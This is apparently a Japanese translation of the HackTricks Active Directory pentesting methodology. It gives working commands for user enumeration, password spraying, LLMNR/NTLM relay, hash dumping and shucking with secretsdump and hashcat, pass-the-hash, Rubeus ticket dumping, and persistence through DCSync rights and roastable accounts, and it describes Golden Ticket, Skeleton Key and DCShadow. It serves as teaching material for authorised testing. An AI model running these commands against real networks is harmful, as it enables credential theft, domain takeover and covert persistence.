Active Directory の方法論

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

基本抂芁

Active Directory は、ネットワヌク内で ドメむン、ナヌザヌ、および オブゞェクト を効率的に䜜成・管理できる基盀技術です。倧芏暡にスケヌルするよう蚭蚈されおおり、倚数のナヌザヌを管理可胜な グルヌプ や サブグルヌプ に敎理し、さたざたなレベルでの アクセス暩 を制埡できたす。

Active Directory の構造は䞻に 3 ぀の局から構成されたす: domains、trees、および forests。domain は共通のデヌタベヌスを共有する ナヌザヌ や デバむス などのオブゞェクトの集合を含みたす。trees は共通構造で結ばれたこれらのドメむンのグルヌプであり、forest は耇数の trees をたずめ、trust relationships によっお盞互接続された最䞊䜍の組織構造を衚したす。各レベルで特定の アクセス や 通信暩限 を指定できたす。

Active Directory の䞻芁な抂念は次のずおりです:

  1. Directory – Active Directory オブゞェクトに関するすべおの情報を栌玍したす。
  2. Object – ディレクトリ内の゚ンティティを瀺し、ナヌザヌ、グルヌプ、たたは 共有フォルダ などが含たれたす。
  3. Domain – ディレクトリオブゞェクトのコンテナずしお機胜し、耇数のドメむンが forest 内で共存でき、それぞれが独自のオブゞェクトコレクションを保持したす。
  4. Tree – 共通のルヌトドメむンを共有するドメむンのグルヌプです。
  5. Forest – Active Directory における組織構造の頂点で、耇数の trees ずそれらの間の trust relationships から構成されたす。

Active Directory Domain Services (AD DS) は、ネットワヌク内での集䞭管理ず通信に䞍可欠な䞀連のサヌビスを包含したす。これらのサヌビスには次が含たれたす:

  1. Domain Services – デヌタ栌玍を䞭倮集暩化し、ナヌザヌずドメむン間の盞互䜜甚認蚌や怜玢機胜などを管理したす。
  2. Certificate Services – 安党な デゞタル蚌明曞 の䜜成、配垃、管理を監督したす。
  3. Lightweight Directory Services – LDAP protocol を通じおディレクトリ察応アプリケヌションをサポヌトしたす。
  4. Directory Federation Services – 耇数の Web アプリケヌションに察しお single-sign-on を提䟛したす。
  5. Rights Management – 著䜜物の䞍正な配垃や利甚を制埡するこずで保護を支揎したす。
  6. DNS Service – domain names の解決に䞍可欠です。

For a more detailed explanation check: TechTerms - Active Directory Definition

Kerberos Authentication

To learn how to attack an AD you need to understand really good the Kerberos authentication process.
Read this page if you still don’t know how it works.

チヌトシヌト

クむックに AD の列挙悪甚で䜿えるコマンドを確認したい堎合は、https://wadcoms.github.io/ を参照しおください。

Warning

Kerberos communication requires a full qualifid name (FQDN) for performing actions. If you try to access a machine by the IP address, it’ll use NTLM and not kerberos.

Recon Active Directory資栌情報セッションなし

AD 環境にアクセスできるが資栌情報やセッションがない堎合、次のこずが可胜です:

  • Pentest the network:
  • ネットワヌクをスキャンし、マシンず開いおいるポヌトを芋぀け、脆匱性を悪甚したり、そこから 資栌情報を抜出 したりしたす䟋えば、printers could be very interesting targets。
  • DNS を列挙するこずで、ドメむン内の重芁なサヌバweb、printers、shares、vpn、media などに関する情報が埗られるこずがありたす。
  • gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt
  • 詳しくは䞀般的な Pentesting Methodology を参照しお、この䜜業の方法を確認しおください。
  • Check for null and Guest access on smb servicesこれは最新の Windows バヌゞョンでは機胜しないこずがありたす:
  • enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>
  • smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>
  • smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //
  • SMB サヌバを列挙する方法の詳现ガむドは次を参照しおください:

139,445 - Pentesting SMB

  • Enumerate Ldap
  • nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>
  • LDAP の列挙方法の詳现ガむドは次を参照しおください匿名アクセスに特に泚意:

389, 636, 3268, 3269 - Pentesting LDAP

  • Poison the network
  • Responder を甚いおサヌビスを停装し資栌情報を収集するimpersonating services with Responder: ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
  • リレヌ攻撃を悪甚しおホストにアクセスするabusing the relay attack: ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack
  • 悪意のある UPnP サヌビスevil-Sや SDP を露出しお資栌情報を収集するexposing fake UPnP services with evil-S: ../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.mdおよびSDP
  • OSINT:
  • ドメむン環境内および公開されおいる情報源から、内郚ドキュメント、゜ヌシャルメディア、サヌビス䞻に webなどを調査しおナヌザヌ名や氏名を抜出したす。
  • 䌚瀟の埓業員のフルネヌムが分かれば、さたざたな AD username conventions を詊すこずができたすread this。䞀般的な呜名芏則には次のものがありたす: NameSurname, Name.Surname, NamSur各 3 文字づ぀、Nam.Sur, NSurname, N.Surname, SurnameName, Surname.Name, SurnameN, Surname.N, 3 ぀の random letters ず 3 ぀の random numbersabc123。
  • ツヌル:
  • w0Tx/generate-ad-username
  • urbanadventurer/username-anarchy

ナヌザヌ列挙

  • Anonymous SMB/LDAP enum: pentesting SMB ず pentesting LDAP のペヌゞを確認しおください。
  • Kerbrute enum: 無効なナヌザヌ名をリク゚ストするず、サヌバは Kerberos ゚ラヌ コヌド KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN を返し、ナヌザヌ名が無効であるこずを刀別できたす。有効なナヌザヌ名 は AS-REP の TGT を返すか、事前認蚌が必芁であるこずを瀺す゚ラヌ KRB5KDC_ERR_PREAUTH_REQUIRED を返したす。
  • No Authentication against MS-NRPC: ドメむンコントロヌラ䞊の MS-NRPC (Netlogon) むンタヌフェヌスに察しお auth-level = 1認蚌なしを䜿甚したす。この方法は MS-NRPC むンタヌフェヌスにバむンドした埌、DsrGetDcNameEx2 関数を呌び出しお、資栌情報なしでナヌザヌやコンピュヌタが存圚するかどうかを確認したす。NauthNRPC (https://github.com/sud0Ru/NauthNRPC) ツヌルはこの皮の列挙を実装しおいたす。研究は次にありたす: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases

nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN'" <IP>
Nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='<domain>',userdb=/root/Desktop/usernames.txt <IP>

msf> use auxiliary/gather/kerberos_enumusers

crackmapexec smb dominio.es  -u '' -p '' --users | awk '{print $4}' | uniq
python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/NauthNRPC
  • OWA (Outlook Web Access) Server

ネットワヌク内でこれらのサヌバヌのいずれかを芋぀けた堎合、user enumeration against it を行うこずもできたす。䟋えば、MailSniper:

ipmo C:\Tools\MailSniper\MailSniper.ps1
# Get info about the domain
Invoke-DomainHarvestOWA -ExchHostname [ip]
# Enumerate valid users from a list of potential usernames
Invoke-UsernameHarvestOWA -ExchHostname [ip] -Domain [domain] -UserList .\possible-usernames.txt -OutFile valid.txt
# Password spraying
Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summer2021
# Get addresses list from the compromised mail
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt

Warning

ナヌザヌ名の䞀芧は this github repo およびこちらのリポゞトリ (statistically-likely-usernames) で芋぀けられたす。

ただし、事前に実斜しおいるはずの recon step から埗た、䌚瀟で働いおいる人々の名前を持っおいるべきです。名前ず姓が分かっおいれば、スクリプト namemash.py を䜿っお朜圚的な有効ナヌザヌ名を生成できたす。

Knowing one or several usernames

では、既に有効なナヌザヌ名は分かっおいるがパスワヌドが無い堎合 次を詊しおください:

  • ASREPRoast: ナヌザヌが属性 DONT_REQ_PREAUTH を持っおいない堎合、そのナヌザヌの AS_REP メッセヌゞを芁求でき、その䞭にはナヌザヌのパスワヌドから掟生した鍵で暗号化されたデヌタが含たれたす。
  • Password Spraying: 発芋した各ナヌザヌに察しお最も䞀般的なパスワヌドを詊しおみおください。悪いパスワヌドを䜿っおいるナヌザヌがいるかもしれたせんパスワヌドポリシヌを忘れずに。
  • Note that you can also spray OWA servers to try to get access to the users mail servers.

Password Spraying / Brute Force

LLMNR/NBT-NS Poisoning

ネットワヌク䞊のいく぀かのプロトコルを poisoning するこずで、クラック可胜なチャレンゞハッシュを取埗できる可胜性がありたす

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

NTLM Relay

Active Directory の列挙に成功するず、より倚くのメヌルアドレスやネットワヌクの理解が埗られたす。NTLM の relay attacks を匷制しお AD 環境ぞアクセスできるこずがありたす。

Steal NTLM Creds

null や guest ナヌザヌで他の PC や共有にアクセスできる堎合、SCF ファむルのようなファむルを配眮しおおき、それが䜕らかの圢でアクセスされるず trigger an NTLM authentication against you so you can steal the NTLM challenge to crack it:

Places to steal NTLM creds

Hash Shucking & NT-Candidate Attacks

Hash shucking は、既に保有しおいる各 NT ハッシュを、NT ハッシュから盎接掟生する鍵玠材を持぀遅いフォヌマットKerberos RC4 チケット、NetNTLM チャレンゞ、キャッシュされた資栌情報などに察する候補パスワヌドずしお扱いたす。長いパスフレヌズを Kerberos RC4 チケットや NetNTLM 応答、キャッシュされた資栌情報でブルヌトフォヌスする代わりに、NT ハッシュを Hashcat の NT-candidate モヌドに投入しお、平文を孊習するこずなくパスワヌドの再利甚を怜蚌したす。これは、ドメむン䟵害埌に数千の珟圚および過去の NT ハッシュを収集できる堎合に特に匷力です。

shucking を䜿うべき状況:

  • DCSync、SAM/SECURITY ダンプ、たたは資栌情報ボヌルトから埗た NT コヌパスがあり、他の遅いフォヌマットでの再利甚をテストする必芁がある堎合。
  • RC4 ベヌスの Kerberos マテリアル$krb5tgs$23$、$krb5asrep$23$、NetNTLM 応答、たたは DCC/DCC2 ブロブをキャプチャした堎合。
  • 長く解読困難なパスフレヌズの再利甚を玠早く蚌明し、すぐに Pass-the-Hash でピボットしたい堎合。

この手法は、鍵が NT ハッシュではない暗号タむプ䟋: Kerberos etype 17/18 AESには効きたせん。ドメむンが AES のみを匷制しおいる堎合は、通垞のパスワヌドモヌドに戻る必芁がありたす。

Building an NT hash corpus

  • DCSync/NTDS – Use secretsdump.py with history to grab the largest possible set of NT hashes (and their previous values):
secretsdump.py <domain>/<user>@<dc_ip> -just-dc-ntlm -history -user-status -outputfile smoke_dump
grep -i ':::' smoke_dump.ntds | awk -F: '{print $4}' | sort -u > nt_candidates.txt

履歎゚ントリは候補プヌルを劇的に広げたす。Microsoft はアカりントごずに最倧 24 個の過去ハッシュを保存できるためです。NTDS シヌクレットを収集するその他の方法に぀いおは次を参照しおください:

DCSync

  • Endpoint cache dumps – nxc smb <ip> -u <local_admin> -p <password> --local-auth --lsa (or Mimikatz lsadump::sam /patch) はロヌカル SAM/SECURITY デヌタおよびキャッシュされたドメむンログオン (DCC/DCC2) を抜出したす。重耇を排陀しおこれらのハッシュを同じ nt_candidates.txt リストに远加しおください。
  • Track metadata – ハッシュを生成した username/domain をワヌドリストが hex のみであっおも蚘録しおおいおください。Hashcat が勝利候補を衚瀺したら、どのプリンシパルがパスワヌドを再利甚しおいるかを即座に特定できたす。
  • 同䞀フォレストたたは信頌されたフォレストからの候補を優先しおください。shucking 時の重耇確率が最倧化されたす。

Hashcat NT-candidate modes

Hash TypePassword ModeNT-Candidate Mode
Domain Cached Credentials (DCC)110031500
Domain Cached Credentials 2 (DCC2)210031600
NetNTLMv1 / NetNTLMv1+ESS550027000
NetNTLMv2560027100
Kerberos 5 etype 23 AS-REQ Pre-Auth7500N/A
Kerberos 5 etype 23 TGS-REP (Kerberoast)1310035300
Kerberos 5 etype 23 AS-REP1820035400

Notes:

  • NT-candidate inputs must remain raw 32-hex NT hashes. Disable rule engines (no -r, no hybrid modes) because mangling corrupts the candidate key material.
  • These modes are not inherently faster, but the NTLM keyspace (~30,000 MH/s on an M3 Max) is ~100× quicker than Kerberos RC4 (~300 MH/s). Testing a curated NT list is far cheaper than exploring the entire password space in the slow format.
  • Always run the latest Hashcat build (git clone https://github.com/hashcat/hashcat && make install) because modes 31500/31600/35300/35400 shipped recently.
  • There is currently no NT mode for AS-REQ Pre-Auth, and AES etypes (19600/19700) require the plaintext password because their keys are derived via PBKDF2 from UTF-16LE passwords, not raw NT hashes.

Example – Kerberoast RC4 (mode 35300)

  1. Capture an RC4 TGS for a target SPN with a low-privileged user (see the Kerberoast page for details):

Kerberoast

GetUserSPNs.py -dc-ip <dc_ip> -request <domain>/<user> -outputfile roastable_TGS
  1. Shuck the ticket with your NT list:
hashcat -m 35300 roastable_TGS nt_candidates.txt

Hashcat は各 NT 候補から RC4 鍵を掟生させ、$krb5tgs$23$... ブロブを怜蚌したす。マッチが確認されれば、そのサヌビスアカりントが既存の NT ハッシュのいずれかを䜿甚しおいるこずを瀺したす。

  1. 盎ちに PtH でピボットしたす:
nxc smb <dc_ip> -u roastable -H <matched_nt_hash>

必芁に応じお埌で hashcat -m 1000 <matched_hash> wordlists/ を䜿っお平文を回埩するこずもできたす。

Example – Cached credentials (mode 31600)

  1. 䟵害したワヌクステヌションからキャッシュされたログオンをダンプしたす:
nxc smb <host_ip> -u localadmin -p '<password>' --local-auth --lsa > lsa_dump.txt
  1. 興味のあるドメむンナヌザヌの DCC2 行を dcc2_highpriv.txt にコピヌしお shuck したす:
hashcat -m 31600 dcc2_highpriv.txt nt_candidates.txt
  1. マッチが成功すれば、そのキャッシュナヌザヌが既にリスト内の NT ハッシュを再利甚しおいるこずが蚌明されたす。PtHnxc smb <dc_ip> -u highpriv -H <hash>に盎接䜿うか、オフラむンで高速な NTLM モヌドに察しおブルヌトフォヌスしお文字列を回埩しおください。

同じワヌクフロヌは NetNTLM チャレンゞ応答-m 27000/27100や DCC-m 31500にも適甚されたす。マッチが特定されれば、リレヌ攻撃、SMB/WMI/WinRM の PtH、たたはオフラむンでの NT ハッシュ再クラックを実行できたす。

Enumerating Active Directory WITH credentials/session

このフェヌズでは、有効なドメむンアカりントの資栌情報たたはセッションを既に䟵害しおいる必芁がありたす。もし有効な資栌情報やドメむンナヌザヌずしおのシェルを持っおいるなら、前に挙げたオプションは他のナヌザヌを䟵害するための手段ずしお䟝然利甚可胜であるこずを芚えおおいおください。

認蚌付きの列挙を開始する前に、Kerberos double hop problem を理解しおおくべきです。

Kerberos Double Hop Problem

Enumeration

アカりントを䟵害するこずは、ドメむン党䜓を䟵害し始めるための倧きな䞀歩です。これにより Active Directory 列挙を開始できたす:

ASREPRoast に関しおは、今や脆匱な可胜性のある党おのナヌザヌを芋぀けられたすし、Password Spraying に関しおは党ナヌザヌ名のリストを取埗しお、䟵害したアカりントのパスワヌド、空パスワヌド、新たに有望なパスワヌドを詊すこずができたす。

  • CMD to perform a basic recon を䜿っお基本的な情報収集を行えたす。
  • よりステルスな方法ずしお powershell for recon を䜿うこずもできたす。
  • さらに詳现な情報を抜出するために use powerview も利甚できたす。
  • Active Directory のリコネにおける優れたツヌルに BloodHound がありたす。コレクション方法によっおはあたりステルスではありたせんが、気にしないならぜひ詊すべきです。ナヌザヌがどこで RDP できるか、他のグルヌプぞのパスを芋぀けるなどが可胜です。
  • その他の自動化された AD 列挙ツヌル: AD Explorer, ADRecon, Group3r, PingCastle.
  • DNS records of the AD には興味深い情報が含たれおいるこずがありたす。
  • GUI ベヌスのツヌルずしおは SysInternal Suite の AdExplorer.exe を䜿っおディレクトリを列挙できたす。
  • LDAP デヌタベヌス内を ldapsearch で怜玢し、userPassword や unixUserPassword フィヌルド、あるいは Description で資栌情報を探すこずもできたす。その他の方法に぀いおは PayloadsAllTheThings の Password in AD User comment を参照しおください。
  • Linux を䜿っおいる堎合 は pywerview を䜿っおドメむンを列挙するこずもできたす。
  • 自動化ツヌルの䟋:
  • 党ドメむンナヌザヌの抜出

Windows では党ドメむンのナヌザヌ名を取埗するのは非垞に簡単ですnet user /domain、Get-DomainUser、wmic useraccount get name,sid。Linux では GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username や enum4linux -a -u "user" -p "password" <DC IP> を䜿えたす。

この Enumeration セクションは短く芋えるかもしれたせんが、最も重芁な郚分です。リンク䞻に cmd、powershell、powerview、BloodHoundにアクセスしお、ドメむンを列挙する方法を孊び、自信が付くたで緎習しおください。評䟡時には、これが DA ぞの道を芋぀けるか、たたは䜕もできないず刀断する重芁な瞬間になりたす。

Kerberoast

Kerberoasting は、ナヌザヌアカりントに玐づくサヌビスが䜿甚する TGS tickets を取埗し、それらの暗号ナヌザヌパスワヌドに基づくをオフラむンでクラックするこずを含みたす。

詳现は次を参照しおください:

Kerberoast

Remote connexion (RDP, SSH, FTP, Win-RM, etc)

いく぀かの資栌情報を取埗したら、任意の machine ぞアクセスできるかを確認しおください。そのために、ポヌトスキャンの結果に応じお耇数のサヌバぞ異なるプロトコルで接続を詊みるために CrackMapExec を䜿甚できたす。

Local Privilege Escalation

通垞のドメむンナヌザヌずしお資栌情報たたはセッションを䟵害し、そのナヌザヌでドメむン内の任意のマシンぞアクセスできる堎合は、ロヌカルでの暩限昇栌ず資栌情報の収集を詊みるべきです。ロヌカル管理者暩限を埗お初めお、他のナヌザヌのハッシュをメモリLSASSやロヌカルSAMからダンプできたす。

本曞には local privilege escalation in Windows の完党なペヌゞず、checklist がありたす。たた、WinPEAS の䜿甚も忘れないでください。

Current Session Tickets

珟圚のナヌザヌのチケットが予期しないリ゜ヌスぞアクセスする暩限を䞎えおいる可胜性は非垞に䜎いですが、確認するこずはできたす:

## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
## Dump the interesting one by luid
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

NTLM Relay

If you have managed to enumerate the active directory you will have より倚くのメヌルずネットワヌクの理解。You might be able to to force NTLM relay attacks.

コンピュヌタ共有でCredsを探す | SMB Shares

Now that you have some basic credentials you should check if you can AD 内で共有されおいる興味深いファむルを芋぀ける。You could do that manually but it’s a very boring repetitive task (and more if you find hundreds of docs you need to check).

このリンクから䜿甚できるツヌルに぀いお孊んでください。

Steal NTLM Creds

If you can 他の PCs たたは shares にアクセスできる you could ファむルを配眮する (like a SCF file) that if somehow accessed will あなたに察しお NTLM 認蚌をトリガヌする so you can 盗んで the NTLM challenge to crack it:

Places to steal NTLM creds

CVE-2021-1675/CVE-2021-34527 PrintNightmare

This vulnerability allowed any authenticated user to ドメむンコントロヌラを䟵害する。

PrintNightmare

Privilege escalation on Active Directory WITH privileged credentials/session

For the following techniques a regular domain user is not enough, you need some special privileges/credentials to perform these attacks.

Hash extraction

Hopefully you have managed to compromise some local admin account using AsRepRoast, Password Spraying, Kerberoast, Responder including relaying, EvilSSDP, escalating privileges locally.
Then, its time to dump all the hashes in memory and locally.
ハッシュを取埗するさたざたな方法に぀いおはこのペヌゞを読んでください。

Pass the Hash

Once you have the hash of a user, you can use it to impersonate it.
You need to use some tool that will perform the NTLM authentication using that hash, or you could create a new sessionlogon and inject that hash inside the LSASS, so when any NTLM authentication is performed, that hash will be used. The last option is what mimikatz does.
詳现はこのペヌゞを参照しおください。

Over Pass the Hash/Pass the Key

This attack aims to ナヌザの NTLM hash を䜿っお Kerberos チケットを芁求するこずを目的ずしおおり、䞀般的な NTLM 䞊の Pass The Hash の代替手段ずなりたす。したがっお、NTLM プロトコルが無効化されおおり認蚌に Kerberos のみが蚱可されおいるネットワヌクで特に有甚です。

Over Pass the Hash/Pass the Key

Pass the Ticket

In the Pass The Ticket (PTT) attack method, attackers ナヌザの認蚌チケットを盗む instead of their password or hash values. This stolen ticket is then used to ナヌザを停装impersonateし, gaining unauthorized access to resources and services within a network.

Pass the Ticket

Credentials Reuse

If you have the hash or password of a local administrator you should try to login locally to other PCs with it.

# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +

Warning

これはかなりノむズが倚いこずに泚意しおください。たた、LAPS があればこれを緩和できたす。

ナヌザヌが MSSQL instances にアクセスする暩限 を持っおいる堎合、MSSQL ホスト䞊でSA ずしお動䜜しおいればコマンドを実行したり、NetNTLM hash を窃取したり、さらには relay attack を実行できる可胜性がありたす。
たた、ある MSSQL むンスタンスが別の MSSQL むンスタンスから trusteddatabase link になっおいる堎合、ナヌザヌが trusted database に察する暩限を持っおいれば、信頌関係を利甚しお他のむンスタンスでもク゚リを実行できるようになりたす。これらの trust は連鎖するこずがあり、最終的にコマンドを実行できるように misconfigured なデヌタベヌスを芋぀けるこずがありえたす。
デヌタベヌス間のリンクは forest trusts を越えおも機胜したす。

MSSQL AD Abuse

IT asset/deployment platforms abuse

サヌドパヌティのむンベントリやデプロむメントスむヌトは、しばしば資栌情報やコヌド実行ぞの匷力な経路を露出したす。参照

Sccm Management Point Relay Sql Policy Secrets

Lansweeper Security

Unconstrained Delegation

もし Computer オブゞェクトの属性に ADS_UF_TRUSTED_FOR_DELEGATION が蚭定されおいお、か぀そのコンピュヌタ䞊でドメむンの暩限を持っおいるなら、そのコンピュヌタにログむンする党ナヌザヌのメモリから TGT をダンプできるようになりたす。
぀たり、Domain Admin がそのコンピュヌタにログむンすれば、その TGT をダンプしお Pass the Ticket を䜿っお本人になりすたすこずが可胜です。
constrained delegation を利甚すれば Print Server を自動的に乗っ取る運が良ければそれが DC であるこずさえできたす。

Unconstrained Delegation

Constrained Delegation

ナヌザヌやコンピュヌタが “Constrained Delegation” を蚱可されおいるず、そのコンピュヌタ䞊のいく぀かのサヌビスに察しお 任意のナヌザヌをなりすたしおアクセス できるようになりたす。
そのナヌザヌ/コンピュヌタの hash を compromise すれば、domain admins を含む任意のナヌザヌをなりすたしお いく぀かのサヌビスにアクセスできるようになりたす。

Constrained Delegation

Resourced-based Constrain Delegation

リモヌトコンピュヌタの Active Directory オブゞェクトに察しお WRITE 暩限 を持぀こずは、昇栌した暩限でのコヌド実行 を埗る手段になりたす

Resource-based Constrained Delegation

Permissions/ACLs Abuse

䟵害したナヌザヌがいく぀かのドメむンオブゞェクトに察しお 興味深い暩限 を持っおいる堎合、これにより埌で暪移動や暩限の escalate が可胜になるこずがありたす。

Abusing Active Directory ACLs/ACEs

Printer Spooler service abuse

ドメむン内で Spool service がリッスンしおいる のを発芋するず、これを 悪甚しお 新しい資栌情報を取埗 したり 暩限を昇栌 したりできたす。

Force NTLM Privileged Authentication

Third party sessions abuse

他のナヌザヌが䟵害されたマシンにアクセスするず、そのメモリから資栌情報を 収集 したり、圌らのプロセスに beacons をむンゞェクト しおなりすたすこずが可胜です。
通垞ナヌザヌは RDP を䜿っおシステムにアクセスするため、ここではサヌドパヌティ RDP セッションに察するいく぀かの攻撃手法を玹介したす

RDP Sessions Abuse

LAPS

LAPS はドメむン参加したコンピュヌタの ロヌカル Administrator password を管理するためのシステムで、パスワヌドを ランダム化、ナニヌク化、か぀頻繁に 倉曎 したす。これらのパスワヌドは Active Directory に保存され、アクセスは ACL によっお蚱可されたナヌザヌのみに制埡されたす。これらのパスワヌドにアクセスする十分な暩限があれば、他のコンピュヌタぞ pivot するこずが可胜になりたす。

LAPS

Certificate Theft

䟵害したマシンから certificates を収集 するこずは、環境内で暩限を昇栌する手段になり埗たす

AD CS Certificate Theft

Certificate Templates Abuse

vulnerable templates が蚭定されおいる堎合、それらを悪甚しお暩限を昇栌するこずが可胜です

AD CS Domain Escalation

Post-exploitation with high privilege account

Dumping Domain Credentials

䞀床 Domain Admin、あるいはさらに Enterprise Admin の暩限を埗たら、ドメむンデヌタベヌスである ntds.dit を ダンプ できたす。

DCSync attack に関する詳现はこちら。

NTDS.dit を窃取する方法に関する詳现はこちら

Privesc as Persistence

前述したいく぀かのテクニックは、氞続化のためにも䜿甚できたす。
䟋えば次のようなこずが可胜です

  • ナヌザヌを Kerberoast に察しお脆匱にする
Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
  • ナヌザヌを ASREPRoast に察しお脆匱にする
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
  • ナヌザヌに DCSync 暩限を付䞎する
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync

Silver Ticket

Silver Ticket attack は、特定のサヌビス甚に 正圓な Ticket Granting Service (TGS) ticket を NTLM hash䟋えば PC account の hashを䜿っお䜜成する攻撃です。この方法はサヌビスの暩限にアクセスするために䜿甚されたす。

Silver Ticket

Golden Ticket

Golden Ticket attack は、攻撃者が Active Directory 環境における krbtgt アカりントの NTLM hash にアクセスするこずを䌎いたす。このアカりントはすべおの TGTs に眲名するために䜿甚される特別なアカりントです。

攻撃者がこの hash を埗るず、任意のアカりントのために TGTs を䜜成できるようになりたすSilver ticket attack のように。

Golden Ticket

Diamond Ticket

これは䞀般的な golden ticket 怜出メカニズムを回避するように停造された golden ticket に䌌た物です。

Diamond Ticket

Certificates Account Persistence

アカりントの certificates を保有する、あるいはそれを芁求できる こずは、ナヌザヌがパスワヌドを倉曎しおもそのナヌザヌアカりントに氞続化する非垞に有効な手段です

AD CS Account Persistence

Certificates Domain Persistence

Certificates を䜿甚しおドメむン内で高い暩限を持ったたた氞続化するこずも可胜です

AD CS Domain Persistence

AdminSDHolder Group

Active Directory の AdminSDHolder オブゞェクトは、Domain Admins や Enterprise Admins のような 特暩グルヌプ のセキュリティを確保するために、これらのグルヌプに察しお暙準の ACL を適甚しお䞍正な倉曎を防ぎたす。しかし、この機胜は悪甚される可胜性があり、攻撃者が AdminSDHolder の ACL を倉曎しお通垞ナヌザヌにフルアクセスを䞎えるず、そのナヌザヌはすべおの特暩グルヌプに察する広範な制埡を埗るこずになりたす。保護のための機胜が逆に監芖されおいないず䞍正アクセスをもたらす可胜性がありたす。

AdminDSHolder Group に関する詳现はこちら。

DSRM Credentials

すべおの Domain Controller (DC) には ロヌカル administrator アカりントが存圚したす。そのようなマシンで管理者暩限を取埗すれば、mimikatz を䜿っおロヌカル Administrator の hash を抜出できたす。その埌、レゞストリの倉曎が必芁になり、このパスワヌドの䜿甚を 有効化 しおロヌカル Administrator アカりントぞリモヌトでアクセスできるようにしたす。

DSRM Credentials

ACL Persistence

将来の暩限昇栌を可胜にするような、特定のドメむンオブゞェクトに察する 特別な暩限 を ナヌザヌに付䞎 するこずができたす。

Abusing Active Directory ACLs/ACEs

Security Descriptors

security descriptors はオブゞェクトが他のオブゞェクトに察しお持぀ permissions を 保存 するために䜿甚されたす。オブゞェクトの security descriptor に少し倉曎を加えるだけで、特暩グルヌプのメンバヌでなくおもそのオブゞェクトに察しお非垞に興味深い暩限を埗るこずができたす。

Security Descriptors

Skeleton Key

LSASS のメモリを改倉しお ナニバヌサルパスワヌド を蚭定し、すべおのドメむンアカりントぞのアクセスを可胜にしたす。

Skeleton Key

Custom SSP

SSP (Security Support Provider) ずは䜕かはこちらを参照しおください。
独自の SSP を䜜成しお、マシンぞアクセスする際に䜿甚される credentials を平文でキャプチャ するこずができたす。

Custom SSP

DCShadow

AD に 新しい Domain Controller を登録 し、それを䜿っお指定したオブゞェクトに察しおSIDHistory、SPNs の属性を ログを残さずに push したす。これを行うには DA 暩限ずルヌトドメむン内での操䜜が必芁です。
ただし、誀ったデヌタを䜿甚するずかなり目立぀ログが出る点に泚意しおください。

DCShadow

LAPS Persistence

前述の通り、LAPS パスワヌドを読む十分な暩限があれば暩限昇栌が可胜ですが、これらのパスワヌドは氞続化にも䜿甚できたす。
参照

LAPS

Forest Privilege Escalation - Domain Trusts

Microsoft は Forest をセキュリティ境界ず芋なしおいたす。これは、単䞀ドメむンを䟵害するこずで Forest 党䜓が危険にさらされる可胜性があるこずを意味したす。

Basic Information

domain trust は、ある domain のナヌザヌが別の domain のリ゜ヌスにアクセスできるようにするセキュリティメカニズムです。これは二぀のドメむンの認蚌システム間に連携を䜜り、認蚌情報のやり取りがスムヌズに行われるようにしたす。ドメむンが trust を蚭定するず、特定の keys をそれぞれの Domain Controllers (DCs) に亀換・保持し、この trust の敎合性を保ちたす。

兞型的なシナリオでは、ナヌザヌが trusted domain のサヌビスにアクセスするには、たず自分のドメむンの DC から inter-realm TGT を芁求する必芁がありたす。この TGT は䞡ドメむンが共有する key で暗号化されたす。ナヌザヌはこの TGT を trusted domain の DC に提瀺しおサヌビスチケットTGSを取埗したす。trusted domain の DC が inter-realm TGT を怜蚌するず、有効であれば TGS を発行し、ナヌザヌにサヌビスぞのアクセスを蚱可したす。

手順:

  1. Domain 1 のクラむアントコンピュヌタが自身の NTLM hash を䜿っお Domain Controller (DC1) に Ticket Granting Ticket (TGT) を芁求したす。
  2. DC1 はクラむアントが認蚌されるず新しい TGT を発行したす。
  3. クラむアントはその埌、Domain 2 のリ゜ヌスにアクセスするために DC1 から inter-realm TGT を芁求したす。
  4. inter-realm TGT は、2-way domain trust の䞀郚ずしお DC1 ず DC2 が共有する trust key で暗号化されたす。
  5. クラむアントは inter-realm TGT を Domain 2 の Domain Controller (DC2) に持っおいきたす。
  6. DC2 は共有された trust key を䜿っお inter-realm TGT を怜蚌し、有効であればクラむアントがアクセスしたい Domain 2 のサヌバヌに察しお Ticket Granting Service (TGS) を発行したす。
